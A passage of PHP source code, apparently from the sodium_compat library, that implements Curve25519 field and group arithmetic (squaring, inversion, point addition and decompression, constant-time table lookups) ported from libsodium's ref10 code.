        /** @var int $f2_2 */
        $f2_2 = $f2 << 1;
        /** @var int $f3_2 */
        $f3_2 = $f3 << 1;
        /** @var int $f4_2 */
        $f4_2 = $f4 << 1;
        /** @var int $f5_2 */
        $f5_2 = $f5 << 1;
        /** @var int $f6_2 */
        $f6_2 = $f6 << 1;
        /** @var int $f7_2 */
        $f7_2 = $f7 << 1;
        $f5_38 = self::mul($f5, 38, 6); /* 1.959375*2^30 */
        $f6_19 = self::mul($f6, 19, 5); /* 1.959375*2^30 */
        $f7_38 = self::mul($f7, 38, 6); /* 1.959375*2^30 */
        $f8_19 = self::mul($f8, 19, 5); /* 1.959375*2^30 */
        $f9_38 = self::mul($f9, 38, 6); /* 1.959375*2^30 */
        $f0f0 = self::mul($f0, $f0, 24);
        $f0f1_2 = self::mul($f0_2, $f1, 24);
        $f0f2_2 = self::mul($f0_2, $f2, 24);
        $f0f3_2 = self::mul($f0_2, $f3, 24);
        $f0f4_2 = self::mul($f0_2, $f4, 24);
        $f0f5_2 = self::mul($f0_2, $f5, 24);
        $f0f6_2 = self::mul($f0_2, $f6, 24);
        $f0f7_2 = self::mul($f0_2, $f7, 24);
        $f0f8_2 = self::mul($f0_2, $f8, 24);
        $f0f9_2 = self::mul($f0_2, $f9, 24);
        $f1f1_2 = self::mul($f1_2,  $f1, 24);
        $f1f2_2 = self::mul($f1_2,  $f2, 24);
        $f1f3_4 = self::mul($f1_2,  $f3_2, 24);
        $f1f4_2 = self::mul($f1_2,  $f4, 24);
        $f1f5_4 = self::mul($f1_2,  $f5_2, 24);
        $f1f6_2 = self::mul($f1_2,  $f6, 24);
        $f1f7_4 = self::mul($f1_2,  $f7_2, 24);
        $f1f8_2 = self::mul($f1_2,  $f8, 24);
        $f1f9_76 = self::mul($f9_38, $f1_2, 24);
        $f2f2 = self::mul($f2,  $f2, 24);
        $f2f3_2 = self::mul($f2_2,  $f3, 24);
        $f2f4_2 = self::mul($f2_2,  $f4, 24);
        $f2f5_2 = self::mul($f2_2,  $f5, 24);
        $f2f6_2 = self::mul($f2_2,  $f6, 24);
        $f2f7_2 = self::mul($f2_2,  $f7, 24);
        $f2f8_38 = self::mul($f8_19, $f2_2, 25);
        $f2f9_38 = self::mul($f9_38, $f2, 24);
        $f3f3_2 = self::mul($f3_2,  $f3, 24);
        $f3f4_2 = self::mul($f3_2,  $f4, 24);
        $f3f5_4 = self::mul($f3_2,  $f5_2, 24);
        $f3f6_2 = self::mul($f3_2,  $f6, 24);
        $f3f7_76 = self::mul($f7_38, $f3_2, 24);
        $f3f8_38 = self::mul($f8_19, $f3_2, 24);
        $f3f9_76 = self::mul($f9_38, $f3_2, 24);
        $f4f4 = self::mul($f4,  $f4, 24);
        $f4f5_2 = self::mul($f4_2,  $f5, 24);
        $f4f6_38 = self::mul($f6_19, $f4_2, 25);
        $f4f7_38 = self::mul($f7_38, $f4, 24);
        $f4f8_38 = self::mul($f8_19, $f4_2, 25);
        $f4f9_38 = self::mul($f9_38, $f4, 24);
        $f5f5_38 = self::mul($f5_38, $f5, 24);
        $f5f6_38 = self::mul($f6_19, $f5_2, 24);
        $f5f7_76 = self::mul($f7_38, $f5_2, 24);
        $f5f8_38 = self::mul($f8_19, $f5_2, 24);
        $f5f9_76 = self::mul($f9_38, $f5_2, 24);
        $f6f6_19 = self::mul($f6_19, $f6, 24);
        $f6f7_38 = self::mul($f7_38, $f6, 24);
        $f6f8_38 = self::mul($f8_19, $f6_2, 25);
        $f6f9_38 = self::mul($f9_38, $f6, 24);
        $f7f7_38 = self::mul($f7_38, $f7, 24);
        $f7f8_38 = self::mul($f8_19, $f7_2, 24);
        $f7f9_76 = self::mul($f9_38, $f7_2, 24);
        $f8f8_19 = self::mul($f8_19, $f8, 24);
        $f8f9_38 = self::mul($f9_38, $f8, 24);
        $f9f9_38 = self::mul($f9_38, $f9, 24);

        /** @var int $h0 */
        $h0 = (int) ($f0f0 + $f1f9_76 + $f2f8_38 + $f3f7_76 + $f4f6_38 +
$f5f5_38) << 1;
        /** @var int $h1 */
        $h1 = (int) ($f0f1_2 + $f2f9_38 + $f3f8_38 + $f4f7_38 + $f5f6_38)
<< 1;
        /** @var int $h2 */
        $h2 = (int) ($f0f2_2 + $f1f1_2  + $f3f9_76 + $f4f8_38 + $f5f7_76 +
$f6f6_19) << 1;
        /** @var int $h3 */
        $h3 = (int) ($f0f3_2 + $f1f2_2  + $f4f9_38 + $f5f8_38 + $f6f7_38)
<< 1;
        /** @var int $h4 */
        $h4 = (int) ($f0f4_2 + $f1f3_4  + $f2f2    + $f5f9_76 + $f6f8_38 +
$f7f7_38) << 1;
        /** @var int $h5 */
        $h5 = (int) ($f0f5_2 + $f1f4_2  + $f2f3_2  + $f6f9_38 + $f7f8_38)
<< 1;
        /** @var int $h6 */
        $h6 = (int) ($f0f6_2 + $f1f5_4  + $f2f4_2  + $f3f3_2  + $f7f9_76 +
$f8f8_19) << 1;
        /** @var int $h7 */
        $h7 = (int) ($f0f7_2 + $f1f6_2  + $f2f5_2  + $f3f4_2  + $f8f9_38)
<< 1;
        /** @var int $h8 */
        $h8 = (int) ($f0f8_2 + $f1f7_4  + $f2f6_2  + $f3f5_4  + $f4f4    +
$f9f9_38) << 1;
        /** @var int $h9 */
        $h9 = (int) ($f0f9_2 + $f1f8_2  + $f2f7_2  + $f3f6_2  + $f4f5_2)
<< 1;

        /** @var int $carry0 */
        $carry0 = ($h0 + (1 << 25)) >> 26;
        $h1 += $carry0;
        $h0 -= $carry0 << 26;
        /** @var int $carry4 */
        $carry4 = ($h4 + (1 << 25)) >> 26;
        $h5 += $carry4;
        $h4 -= $carry4 << 26;

        /** @var int $carry1 */
        $carry1 = ($h1 + (1 << 24)) >> 25;
        $h2 += $carry1;
        $h1 -= $carry1 << 25;
        /** @var int $carry5 */
        $carry5 = ($h5 + (1 << 24)) >> 25;
        $h6 += $carry5;
        $h5 -= $carry5 << 25;

        /** @var int $carry2 */
        $carry2 = ($h2 + (1 << 25)) >> 26;
        $h3 += $carry2;
        $h2 -= $carry2 << 26;
        /** @var int $carry6 */
        $carry6 = ($h6 + (1 << 25)) >> 26;
        $h7 += $carry6;
        $h6 -= $carry6 << 26;

        /** @var int $carry3 */
        $carry3 = ($h3 + (1 << 24)) >> 25;
        $h4 += $carry3;
        $h3 -= $carry3 << 25;
        /** @var int $carry7 */
        $carry7 = ($h7 + (1 << 24)) >> 25;
        $h8 += $carry7;
        $h7 -= $carry7 << 25;

        /** @var int $carry4 */
        $carry4 = ($h4 + (1 << 25)) >> 26;
        $h5 += $carry4;
        $h4 -= $carry4 << 26;
        /** @var int $carry8 */
        $carry8 = ($h8 + (1 << 25)) >> 26;
        $h9 += $carry8;
        $h8 -= $carry8 << 26;

        /** @var int $carry9 */
        $carry9 = ($h9 + (1 << 24)) >> 25;
        $h0 += self::mul($carry9, 19, 5);
        $h9 -= $carry9 << 25;

        /** @var int $carry0 */
        $carry0 = ($h0 + (1 << 25)) >> 26;
        $h1 += $carry0;
        $h0 -= $carry0 << 26;

        return ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(
            array(
                (int) $h0,
                (int) $h1,
                (int) $h2,
                (int) $h3,
                (int) $h4,
                (int) $h5,
                (int) $h6,
                (int) $h7,
                (int) $h8,
                (int) $h9
            )
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $Z
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_invert(ParagonIE_Sodium_Core_Curve25519_Fe
$Z)
    {
        $z = clone $Z;
        $t0 = self::fe_sq($z);
        $t1 = self::fe_sq($t0);
        $t1 = self::fe_sq($t1);
        $t1 = self::fe_mul($z, $t1);
        $t0 = self::fe_mul($t0, $t1);
        $t2 = self::fe_sq($t0);
        $t1 = self::fe_mul($t1, $t2);
        $t2 = self::fe_sq($t1);
        for ($i = 1; $i < 5; ++$i) {
            $t2 = self::fe_sq($t2);
        }
        $t1 = self::fe_mul($t2, $t1);
        $t2 = self::fe_sq($t1);
        for ($i = 1; $i < 10; ++$i) {
            $t2 = self::fe_sq($t2);
        }
        $t2 = self::fe_mul($t2, $t1);
        $t3 = self::fe_sq($t2);
        for ($i = 1; $i < 20; ++$i) {
            $t3 = self::fe_sq($t3);
        }
        $t2 = self::fe_mul($t3, $t2);
        $t2 = self::fe_sq($t2);
        for ($i = 1; $i < 10; ++$i) {
            $t2 = self::fe_sq($t2);
        }
        $t1 = self::fe_mul($t2, $t1);
        $t2 = self::fe_sq($t1);
        for ($i = 1; $i < 50; ++$i) {
            $t2 = self::fe_sq($t2);
        }
        $t2 = self::fe_mul($t2, $t1);
        $t3 = self::fe_sq($t2);
        for ($i = 1; $i < 100; ++$i) {
            $t3 = self::fe_sq($t3);
        }
        $t2 = self::fe_mul($t3, $t2);
        $t2 = self::fe_sq($t2);
        for ($i = 1; $i < 50; ++$i) {
            $t2 = self::fe_sq($t2);
        }
        $t1 = self::fe_mul($t2, $t1);
        $t1 = self::fe_sq($t1);
        for ($i = 1; $i < 5; ++$i) {
            $t1 = self::fe_sq($t1);
        }
        return self::fe_mul($t1, $t0);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @ref
https://github.com/jedisct1/libsodium/blob/68564326e1e9dc57ef03746f85734232d20ca6fb/src/libsodium/crypto_core/curve25519/ref10/curve25519_ref10.c#L1054-L1106
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $z
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_pow22523(ParagonIE_Sodium_Core_Curve25519_Fe
$z)
    {
        # fe_sq(t0, z);
        # fe_sq(t1, t0);
        # fe_sq(t1, t1);
        # fe_mul(t1, z, t1);
        # fe_mul(t0, t0, t1);
        # fe_sq(t0, t0);
        # fe_mul(t0, t1, t0);
        # fe_sq(t1, t0);
        $t0 = self::fe_sq($z);
        $t1 = self::fe_sq($t0);
        $t1 = self::fe_sq($t1);
        $t1 = self::fe_mul($z, $t1);
        $t0 = self::fe_mul($t0, $t1);
        $t0 = self::fe_sq($t0);
        $t0 = self::fe_mul($t1, $t0);
        $t1 = self::fe_sq($t0);

        # for (i = 1; i < 5; ++i) {
        #     fe_sq(t1, t1);
        # }
        for ($i = 1; $i < 5; ++$i) {
            $t1 = self::fe_sq($t1);
        }

        # fe_mul(t0, t1, t0);
        # fe_sq(t1, t0);
        $t0 = self::fe_mul($t1, $t0);
        $t1 = self::fe_sq($t0);

        # for (i = 1; i < 10; ++i) {
        #     fe_sq(t1, t1);
        # }
        for ($i = 1; $i < 10; ++$i) {
            $t1 = self::fe_sq($t1);
        }

        # fe_mul(t1, t1, t0);
        # fe_sq(t2, t1);
        $t1 = self::fe_mul($t1, $t0);
        $t2 = self::fe_sq($t1);

        # for (i = 1; i < 20; ++i) {
        #     fe_sq(t2, t2);
        # }
        for ($i = 1; $i < 20; ++$i) {
            $t2 = self::fe_sq($t2);
        }

        # fe_mul(t1, t2, t1);
        # fe_sq(t1, t1);
        $t1 = self::fe_mul($t2, $t1);
        $t1 = self::fe_sq($t1);

        # for (i = 1; i < 10; ++i) {
        #     fe_sq(t1, t1);
        # }
        for ($i = 1; $i < 10; ++$i) {
            $t1 = self::fe_sq($t1);
        }

        # fe_mul(t0, t1, t0);
        # fe_sq(t1, t0);
        $t0 = self::fe_mul($t1, $t0);
        $t1 = self::fe_sq($t0);

        # for (i = 1; i < 50; ++i) {
        #     fe_sq(t1, t1);
        # }
        for ($i = 1; $i < 50; ++$i) {
            $t1 = self::fe_sq($t1);
        }

        # fe_mul(t1, t1, t0);
        # fe_sq(t2, t1);
        $t1 = self::fe_mul($t1, $t0);
        $t2 = self::fe_sq($t1);

        # for (i = 1; i < 100; ++i) {
        #     fe_sq(t2, t2);
        # }
        for ($i = 1; $i < 100; ++$i) {
            $t2 = self::fe_sq($t2);
        }

        # fe_mul(t1, t2, t1);
        # fe_sq(t1, t1);
        $t1 = self::fe_mul($t2, $t1);
        $t1 = self::fe_sq($t1);

        # for (i = 1; i < 50; ++i) {
        #     fe_sq(t1, t1);
        # }
        for ($i = 1; $i < 50; ++$i) {
            $t1 = self::fe_sq($t1);
        }

        # fe_mul(t0, t1, t0);
        # fe_sq(t0, t0);
        # fe_sq(t0, t0);
        # fe_mul(out, t0, z);
        $t0 = self::fe_mul($t1, $t0);
        $t0 = self::fe_sq($t0);
        $t0 = self::fe_sq($t0);
        return self::fe_mul($t0, $z);
    }

    /**
     * Subtract two field elements.
     *
     * h = f - g
     *
     * Preconditions:
     * |f| bounded by 1.1*2^25,1.1*2^24,1.1*2^25,1.1*2^24,etc.
     * |g| bounded by 1.1*2^25,1.1*2^24,1.1*2^25,1.1*2^24,etc.
     *
     * Postconditions:
     * |h| bounded by 1.1*2^26,1.1*2^25,1.1*2^26,1.1*2^25,etc.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $g
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     * @psalm-suppress MixedOperand
     */
    public static function fe_sub(ParagonIE_Sodium_Core_Curve25519_Fe $f,
ParagonIE_Sodium_Core_Curve25519_Fe $g)
    {
        return ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(
            array(
                (int) ($f[0] - $g[0]),
                (int) ($f[1] - $g[1]),
                (int) ($f[2] - $g[2]),
                (int) ($f[3] - $g[3]),
                (int) ($f[4] - $g[4]),
                (int) ($f[5] - $g[5]),
                (int) ($f[6] - $g[6]),
                (int) ($f[7] - $g[7]),
                (int) ($f[8] - $g[8]),
                (int) ($f[9] - $g[9])
            )
        );
    }

    /**
     * Add two group elements.
     *
     * r = p + q
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_Cached $q
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1
     */
    public static function ge_add(
        ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p,
        ParagonIE_Sodium_Core_Curve25519_Ge_Cached $q
    ) {
        $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P1p1();
        $r->X = self::fe_add($p->Y, $p->X);
        $r->Y = self::fe_sub($p->Y, $p->X);
        $r->Z = self::fe_mul($r->X, $q->YplusX);
        $r->Y = self::fe_mul($r->Y, $q->YminusX);
        $r->T = self::fe_mul($q->T2d, $p->T);
        $r->X = self::fe_mul($p->Z, $q->Z);
        $t0   = self::fe_add($r->X, $r->X);
        $r->X = self::fe_sub($r->Z, $r->Y);
        $r->Y = self::fe_add($r->Z, $r->Y);
        $r->Z = self::fe_add($t0, $r->T);
        $r->T = self::fe_sub($t0, $r->T);
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @ref
https://github.com/jedisct1/libsodium/blob/157c4a80c13b117608aeae12178b2d38825f9f8f/src/libsodium/crypto_core/curve25519/ref10/curve25519_ref10.c#L1185-L1215
     * @param string $a
     * @return array<int, mixed>
     * @throws SodiumException
     * @throws TypeError
     */
    public static function slide($a)
    {
        if (self::strlen($a) < 256) {
            if (self::strlen($a) < 16) {
                $a = str_pad($a, 256, '0', STR_PAD_RIGHT);
            }
        }
        /** @var array<int, int> $r */
        $r = array();

        /** @var int $i */
        for ($i = 0; $i < 256; ++$i) {
            $r[$i] = (int) (
                1 & (
                    self::chrToInt($a[(int) ($i >> 3)])
                        >>
                    ($i & 7)
                )
            );
        }

        for ($i = 0;$i < 256;++$i) {
            if ($r[$i]) {
                for ($b = 1;$b <= 6 && $i + $b < 256;++$b) {
                    if ($r[$i + $b]) {
                        if ($r[$i] + ($r[$i + $b] << $b) <= 15) {
                            $r[$i] += $r[$i + $b] << $b;
                            $r[$i + $b] = 0;
                        } elseif ($r[$i] - ($r[$i + $b] << $b) >=
-15) {
                            $r[$i] -= $r[$i + $b] << $b;
                            for ($k = $i + $b; $k < 256; ++$k) {
                                if (!$r[$k]) {
                                    $r[$k] = 1;
                                    break;
                                }
                                $r[$k] = 0;
                            }
                        } else {
                            break;
                        }
                    }
                }
            }
        }
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $s
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_frombytes_negate_vartime($s)
    {
        static $d = null;
        if (!$d) {
            $d = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$d);
        }

        # fe_frombytes(h->Y,s);
        # fe_1(h->Z);
        $h = new ParagonIE_Sodium_Core_Curve25519_Ge_P3(
            self::fe_0(),
            self::fe_frombytes($s),
            self::fe_1()
        );

        # fe_sq(u,h->Y);
        # fe_mul(v,u,d);
        # fe_sub(u,u,h->Z);       /* u = y^2-1 */
        # fe_add(v,v,h->Z);       /* v = dy^2+1 */
        $u = self::fe_sq($h->Y);
        /** @var ParagonIE_Sodium_Core_Curve25519_Fe $d */
        $v = self::fe_mul($u, $d);
        $u = self::fe_sub($u, $h->Z); /* u =  y^2 - 1 */
        $v = self::fe_add($v, $h->Z); /* v = dy^2 + 1 */

        # fe_sq(v3,v);
        # fe_mul(v3,v3,v);        /* v3 = v^3 */
        # fe_sq(h->X,v3);
        # fe_mul(h->X,h->X,v);
        # fe_mul(h->X,h->X,u);    /* x = uv^7 */
        $v3 = self::fe_sq($v);
        $v3 = self::fe_mul($v3, $v); /* v3 = v^3 */
        $h->X = self::fe_sq($v3);
        $h->X = self::fe_mul($h->X, $v);
        $h->X = self::fe_mul($h->X, $u); /* x = uv^7 */

        # fe_pow22523(h->X,h->X); /* x = (uv^7)^((q-5)/8) */
        # fe_mul(h->X,h->X,v3);
        # fe_mul(h->X,h->X,u);    /* x = uv^3(uv^7)^((q-5)/8) */
        $h->X = self::fe_pow22523($h->X); /* x = (uv^7)^((q-5)/8) */
        $h->X = self::fe_mul($h->X, $v3);
        $h->X = self::fe_mul($h->X, $u); /* x = uv^3(uv^7)^((q-5)/8)
*/

        # fe_sq(vxx,h->X);
        # fe_mul(vxx,vxx,v);
        # fe_sub(check,vxx,u);    /* vx^2-u */
        $vxx = self::fe_sq($h->X);
        $vxx = self::fe_mul($vxx, $v);
        $check = self::fe_sub($vxx, $u); /* vx^2 - u */

        # if (fe_isnonzero(check)) {
        #     fe_add(check,vxx,u);  /* vx^2+u */
        #     if (fe_isnonzero(check)) {
        #         return -1;
        #     }
        #     fe_mul(h->X,h->X,sqrtm1);
        # }
        if (self::fe_isnonzero($check)) {
            $check = self::fe_add($vxx, $u); /* vx^2 + u */
            if (self::fe_isnonzero($check)) {
                throw new RangeException('Internal check
failed.');
            }
            $h->X = self::fe_mul(
                $h->X,
               
ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$sqrtm1)
            );
        }

        # if (fe_isnegative(h->X) == (s[31] >> 7)) {
        #     fe_neg(h->X,h->X);
        # }
        $i = self::chrToInt($s[31]);
        if (self::fe_isnegative($h->X) === ($i >> 7)) {
            $h->X = self::fe_neg($h->X);
        }

        # fe_mul(h->T,h->X,h->Y);
        $h->T = self::fe_mul($h->X, $h->Y);
        return $h;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $R
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $q
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1
     */
    public static function ge_madd(
        ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $R,
        ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p,
        ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $q
    ) {
        $r = clone $R;
        $r->X = self::fe_add($p->Y, $p->X);
        $r->Y = self::fe_sub($p->Y, $p->X);
        $r->Z = self::fe_mul($r->X, $q->yplusx);
        $r->Y = self::fe_mul($r->Y, $q->yminusx);
        $r->T = self::fe_mul($q->xy2d, $p->T);
        $t0 = self::fe_add(clone $p->Z, clone $p->Z);
        $r->X = self::fe_sub($r->Z, $r->Y);
        $r->Y = self::fe_add($r->Z, $r->Y);
        $r->Z = self::fe_add($t0, $r->T);
        $r->T = self::fe_sub($t0, $r->T);

        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $R
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $q
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1
     */
    public static function ge_msub(
        ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $R,
        ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p,
        ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $q
    ) {
        $r = clone $R;

        $r->X = self::fe_add($p->Y, $p->X);
        $r->Y = self::fe_sub($p->Y, $p->X);
        $r->Z = self::fe_mul($r->X, $q->yminusx);
        $r->Y = self::fe_mul($r->Y, $q->yplusx);
        $r->T = self::fe_mul($q->xy2d, $p->T);
        $t0 = self::fe_add($p->Z, $p->Z);
        $r->X = self::fe_sub($r->Z, $r->Y);
        $r->Y = self::fe_add($r->Z, $r->Y);
        $r->Z = self::fe_sub($t0, $r->T);
        $r->T = self::fe_add($t0, $r->T);

        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $p
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P2
     */
    public static function
ge_p1p1_to_p2(ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $p)
    {
        $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P2();
        $r->X = self::fe_mul($p->X, $p->T);
        $r->Y = self::fe_mul($p->Y, $p->Z);
        $r->Z = self::fe_mul($p->Z, $p->T);
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $p
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3
     */
    public static function
ge_p1p1_to_p3(ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $p)
    {
        $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P3();
        $r->X = self::fe_mul($p->X, $p->T);
        $r->Y = self::fe_mul($p->Y, $p->Z);
        $r->Z = self::fe_mul($p->Z, $p->T);
        $r->T = self::fe_mul($p->X, $p->Y);
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P2
     */
    public static function ge_p2_0()
    {
        return new ParagonIE_Sodium_Core_Curve25519_Ge_P2(
            self::fe_0(),
            self::fe_1(),
            self::fe_1()
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P2 $p
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1
     */
    public static function ge_p2_dbl(ParagonIE_Sodium_Core_Curve25519_Ge_P2
$p)
    {
        $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P1p1();

        $r->X = self::fe_sq($p->X);
        $r->Z = self::fe_sq($p->Y);
        $r->T = self::fe_sq2($p->Z);
        $r->Y = self::fe_add($p->X, $p->Y);
        $t0   = self::fe_sq($r->Y);
        $r->Y = self::fe_add($r->Z, $r->X);
        $r->Z = self::fe_sub($r->Z, $r->X);
        $r->X = self::fe_sub($t0, $r->Y);
        $r->T = self::fe_sub($r->T, $r->Z);

        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3
     */
    public static function ge_p3_0()
    {
        return new ParagonIE_Sodium_Core_Curve25519_Ge_P3(
            self::fe_0(),
            self::fe_1(),
            self::fe_1(),
            self::fe_0()
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_Cached
     */
    public static function
ge_p3_to_cached(ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p)
    {
        static $d2 = null;
        if ($d2 === null) {
            $d2 =
ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$d2);
        }
        /** @var ParagonIE_Sodium_Core_Curve25519_Fe $d2 */
        $r = new ParagonIE_Sodium_Core_Curve25519_Ge_Cached();
        $r->YplusX = self::fe_add($p->Y, $p->X);
        $r->YminusX = self::fe_sub($p->Y, $p->X);
        $r->Z = self::fe_copy($p->Z);
        $r->T2d = self::fe_mul($p->T, $d2);
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P2
     */
    public static function
ge_p3_to_p2(ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p)
    {
        return new ParagonIE_Sodium_Core_Curve25519_Ge_P2(
            $p->X,
            $p->Y,
            $p->Z
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $h
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function
ge_p3_tobytes(ParagonIE_Sodium_Core_Curve25519_Ge_P3 $h)
    {
        $recip = self::fe_invert($h->Z);
        $x = self::fe_mul($h->X, $recip);
        $y = self::fe_mul($h->Y, $recip);
        $s = self::fe_tobytes($y);
        $s[31] = self::intToChr(
            self::chrToInt($s[31]) ^ (self::fe_isnegative($x) << 7)
        );
        return $s;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1
     */
    public static function ge_p3_dbl(ParagonIE_Sodium_Core_Curve25519_Ge_P3
$p)
    {
        $q = self::ge_p3_to_p2($p);
        return self::ge_p2_dbl($q);
    }

    /**
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_Precomp
     */
    public static function ge_precomp_0()
    {
        return new ParagonIE_Sodium_Core_Curve25519_Ge_Precomp(
            self::fe_1(),
            self::fe_1(),
            self::fe_0()
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $b
     * @param int $c
     * @return int
     */
    public static function equal($b, $c)
    {
        return (int) ((($b ^ $c) - 1 & 0xffffffff) >> 31);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int|string $char
     * @return int (1 = yes, 0 = no)
     * @throws SodiumException
     * @throws TypeError
     */
    public static function negative($char)
    {
        if (is_int($char)) {
            return $char < 0 ? 1 : 0;
        }
        $x = self::chrToInt(self::substr($char, 0, 1));
        return (int) ($x >> 63);
    }

    /**
     * Conditional move
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $t
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $u
     * @param int $b
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_Precomp
     */
    public static function cmov(
        ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $t,
        ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $u,
        $b
    ) {
        if (!is_int($b)) {
            throw new InvalidArgumentException('Expected an
integer.');
        }
        return new ParagonIE_Sodium_Core_Curve25519_Ge_Precomp(
            self::fe_cmov($t->yplusx, $u->yplusx, $b),
            self::fe_cmov($t->yminusx, $u->yminusx, $b),
            self::fe_cmov($t->xy2d, $u->xy2d, $b)
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $pos
     * @param int $b
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_Precomp
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayOffset
     */
    public static function ge_select($pos = 0, $b = 0)
    {
        static $base = null;
        if ($base === null) {
            $base = array();
            /** @var int $i */
            foreach (self::$base as $i => $bas) {
                for ($j = 0; $j < 8; ++$j) {
                    $base[$i][$j] = new
ParagonIE_Sodium_Core_Curve25519_Ge_Precomp(
                       
ParagonIE_Sodium_Core_Curve25519_Fe::fromArray($bas[$j][0]),
                       
ParagonIE_Sodium_Core_Curve25519_Fe::fromArray($bas[$j][1]),
                       
ParagonIE_Sodium_Core_Curve25519_Fe::fromArray($bas[$j][2])
                    );
                }
            }
        }
        /** @var array<int, array<int,
ParagonIE_Sodium_Core_Curve25519_Ge_Precomp>> $base */
        if (!is_int($pos)) {
            throw new InvalidArgumentException('Position must be an
integer');
        }
        if ($pos < 0 || $pos > 31) {
            throw new RangeException('Position is out of range [0,
31]');
        }

        /** @var int $bnegative */
        $bnegative = self::negative($b);
        /** @var int $babs */
        $babs = $b - (((-$bnegative) & $b) << 1);

        $t = self::ge_precomp_0();
        for ($i = 0; $i < 8; ++$i) {
            $t = self::cmov(
                $t,
                $base[$pos][$i],
                self::equal($babs, $i + 1)
            );
        }
        $minusT = new ParagonIE_Sodium_Core_Curve25519_Ge_Precomp(
            self::fe_copy($t->yminusx),
            self::fe_copy($t->yplusx),
            self::fe_neg($t->xy2d)
        );
        return self::cmov($t, $minusT, $bnegative);
    }

    /**
     * Subtract two group elements.
     *
     * r = p - q
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_Cached $q
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1
     */
    public static function ge_sub(
        ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p,
